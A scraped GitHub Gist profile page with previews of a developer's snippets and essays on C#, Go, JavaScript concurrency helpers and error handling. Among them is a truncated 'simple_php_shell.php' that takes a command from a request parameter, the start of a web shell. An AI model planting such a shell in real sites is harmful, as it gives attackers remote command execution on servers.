Skip to content

Instantly share code, notes, and snippets.

for { Learn() }

Roberto Clapis empijei

for { Learn() }
View GitHub Profile

The short story of my experience with C# is that it is like Java should have been.

Cross platform

C# has now gotten to allow programmers to build cross-platform applications, includin games. Unity engine has made it possible to write games form most platforms in a memory-safe nice-to-use language.

IDE support

VS used to be the best possible IDE to work with and intellisense was just perfect and lightning fast for C#. Debugging was a flawless experience.

View closures.go
package csrf
import "errors"
// This is just an example on how to reduce redundant code in Go
// Original file:
// csrfFromExtractor returns a function can be used to bind to a parameter name to extract a csrf token from a Ctx.
func csrfFromExtractor(errMessage string, extractor func(c *fiber.Ctx, param string) string) func(string) func(c *fiber.Ctx) (string, error) {
return func(param string) func(c *fiber.Ctx) (string, error) {
View waitgroup.js
class WaitGroup {
constructor(initial, opt_sab) {
this._sab = opt_sab || new SharedArrayBuffer(4);
this._wg = new Int32Array(this._sab);
static connect(wg) { return new WaitGroup(0, wg._sab) }
add(n) {
let current = n + Atomics.add(this._wg, 0, n);
if (current < 0) {
View semaphore.js
class Semaphore {
constructor(size, opt_sab) {
this._sab = opt_sab || new SharedArrayBuffer(4);
this._sema = new Int32Array(this._sab);
this._size = size;
static connect(sema) {
return new Semaphore(sema._size, sema._sab);
empijei /
Last active Oct 24, 2018
Feedback on Go2 Generics proposal: syntax

As Liam Breck said, changing the function signature by adding more round parentheses would make it very hard to read it. I personally found something like

func (/*receiver*/)Foo(/*types*/)(/*args*/)(/*return tuple*/){

c,d := a.Foo(Type)(e,f)

to be way too complex compared with the usual go syntax.


WAT: let's talk about javascript

Short preface:

The first version of JavaScript was completed in ten days in order to accommodate the Netscape Navigator 2.0 Beta release schedule.

Keep in mind that well structured languages usually take a little bit more than that.

What follows is a small piece of the aftermath of the rushed job.

NOTE: There is more madness in destroy all software's wat video, which I suggest watching before reading this post.

empijei /
Last active Aug 17, 2018
Considerations on error handling

Considerations on error handling

The impact

The first language I used to build something more than just school exercises was VisualBasic.Net. There are some good things and bad things in it, but I don't want to discuss that today. I switched to C# after that and Java and Python after it.

This is to say that basically up until three years ago I knew one and only one way to handle errors which is expressed in the following pseudocode:

	# dostuff
except: # or catch
View simple_php_shell.php
$cmd = ($_REQUEST["cmd"]);
echo "</pre>$cmd<pre>";
empijei / ssrfCheck.go
Created Apr 17, 2017
dump http requests
View ssrfCheck.go
package main
import (
empijei / tinyxhr.js
Last active Apr 14, 2017 — forked from shimondoodkin/tinyxhr.js
tiny xhr snippet to do XMLHttpRequest
View tinyxhr.js
// license: public domain - original author: Shimon Doodkin -
// tinyxhr("",function (err,data,xhr){ if (err) console.log("goterr ",err,'status='+xhr.status); console.log(data) });
// tinyxhr("",function (err,data,xhr){ if (err) console.log("goterr ",err,'status='+xhr.status); console.log(data) },'POST','value1=1&value2=2');
// tinyxhr("",function (err,data,xhr){ if (err) console.log("goterr ",err,'status='+xhr.status); console.log(data); console.log(JSON.parse(data)) },'POST',JSON.stringify({value:1}),'application/javascript');
// cb - a callback function like: function (err,data,XMLHttpRequestObject){ if (err) throw err; }
function tinyxhr(url, cb, method, post, contenttype, auth, timeout) {
var requestTimeout, xhr;